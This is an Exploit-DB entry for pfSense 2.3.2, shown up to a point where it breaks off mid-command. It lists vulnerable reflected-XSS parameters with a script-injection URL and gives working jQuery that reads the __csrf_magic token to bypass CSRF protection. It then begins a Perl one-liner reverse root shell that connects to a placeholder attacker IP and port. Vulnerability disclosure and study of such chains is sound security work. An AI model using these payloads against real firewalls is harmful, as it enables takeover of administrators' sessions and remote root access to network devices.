Exploit-DB #41501
Description: pfSense 2.3.2 - Cross-Site Scripting / Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2017-03-03
Author: Yann CAM

Exploit:
######################################################################
# Exploit Title: pfSense 2.3.2 XSS - CSRF-bypass & Reverse-root-shell
# Date: 01/03/2017
# Author: Yann CAM @ASafety / Synetis
# Vendor or Software Link: www.pfsense.org
# Version: 2.3.2
# Category: XSS, CSRF-bypass and Remote root reverse-shell Access
# Google dork:
# Tested on: FreeBSD
######################################################################


pfSense firewall/router distribution description :
======================================================================

pfSense is a free, open source customized distribution of FreeBSD tailored for use as a firewall and router. In addition 
to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package 
system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution. 
pfSense is a popular project with more than 1 million downloads since its inception, and proven in countless installations 
ranging from small home networks protecting a PC and an Xbox to large corporations, universities and other organizations 
protecting thousands of network devices. 

This project started in 2004 as a fork of the m0n0wall project, but focused towards full PC installations rather than the 
embedded hardware focus of m0n0wall. pfSense also offers an embedded image for Compact Flash based installations, however 
it is not our primary focus.

In version 2.3.2 of the distribution, differents XSS vulnerabilities allow CSRF security mechanisms bypass and RCE reverse 
root shell can be triggered. It is strongly advised to update to version 2.3.2 available now.

Demonstration video : https://www.youtube.com/watch?v=IWtf6LlfP_c&t=4s


Proof of Concept 1 - Reflected Cross-Site Scripting :
======================================================================

There are several RXSS in GET parameter available on the pfSense WebGui, example :

File status_captiveportal_expire.php lines 69-73 :
  $cpzone = $_GET['zone'];
  if (isset($_POST['zone'])) {
    $cpzone = $_POST['zone'];
  }
  $cpzone = strtolower($cpzone);

then reflection lines 100-104 :

  $tab_array[] = array(gettext("Active Users"), false, "status_captiveportal.php?zone={$cpzone}");
  $tab_array[] = array(gettext("Active Vouchers"), false, "status_captiveportal_vouchers.php?zone={$cpzone}");
  $tab_array[] = array(gettext("Voucher Rolls"), false, "status_captiveportal_voucher_rolls.php?zone={$cpzone}");
  $tab_array[] = array(gettext("Test Vouchers"), false, "status_captiveportal_test.php?zone={$cpzone}");
  $tab_array[] = array(gettext("Expire Vouchers"), true, "status_captiveportal_expire.php?zone={$cpzone}");

List of parameters vulnerable to reflected XSS:

* status_captiveportal.php: "order", "zone"
* status_captiveportal_expire.php: "zone"
* status_captiveportal_test.php: "zone"
* status_captiveportal_voucher_rolls.php: "zone"
* status_captiveportal_vouchers.php: "zone"
  
Result with a direct call to this page (authenticated session) :

  http://<PFSENSE>/status_captiveportal_expire.php?zone="><script>alert(1337);</script>

These RXSS are through GET parameters, so they are triggered directly on page loading (doesn't need any CSRF token).
CSRF token security mechanism protect only RXSS through POST parameters in the pfSense context.

Proof of Concept 2 - Bypass all CSRF protection via R-XSS :
======================================================================

Via the R-XSS in GET parameter identified previously, it's possible for an attacker to bypass all CSRFMagic mechanisms 
in the pfSense WebGUI.

Through this XSS in GET param, an attacker can benefit of the current pfSense context in a victim's browser already 
logged as administrator in pfSense web administration interface.
Via this XSS, the attacker can forge his own and hidden request in the victim browser, with :

* Right referer for bypassing anti-CSRF mechanisms
* Request page to get a valid CSRF token to forge final form submissions with admin rights

The next piece of JavaScript-JQuery can make any CSRF with right referer and security token retrieved in pfSense context :

  // Function with JQuery AJAX request
  // This function requests an internal WebGUI page, which contains the token.
  // Source code of this webpage is passed to the extractToken() function.
  function loadToken(){
    $.ajax({
      type: 'POST',
      url: '/diag_command.php',
      contentType: 'application/x-www-form-urlencoded;charset=utf-8',
      dataType: 'text',
      data: '',
      success:extractToken
    }); // after this request, we called the extractToken() function to extract the token
  }
   
  // Function called after AJAX request in a defined page of the context, which contains the token value
  function extractToken(response){
    // response var contain the source code of the page requested by AJAX
    // Regex to catch the token value
    var regex = new RegExp("<input type='hidden' name='__csrf_magic' value=\"(.*)\" />",'gi');
    var token = response.match(regex);
    token = RegExp.$1;
    // Pass the token to the final function which make the CSRF final attack
    //alert(token);
    makeCSRF(token);
  }

If this script is loaded from the previous XSS, all web-forms in the pfSense WebGui can be submitted as a legitimate 
and authenticated user (like administrator).


Proof of Concept 3 : R-XSS to CSRF to Remote Reverse root Shell
======================================================================

pfSense distribution provides some internal tools / commands like "perl".

Example of one-liner Perl reverse-root-shell in command line :

  [2.3.2-RELEASE][admin@pfSense.localdomain]/usr/local/www: perl -e 'use Socket;$i="[ATTACKER_IP]";$p=[ATTACKER_PORT];socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr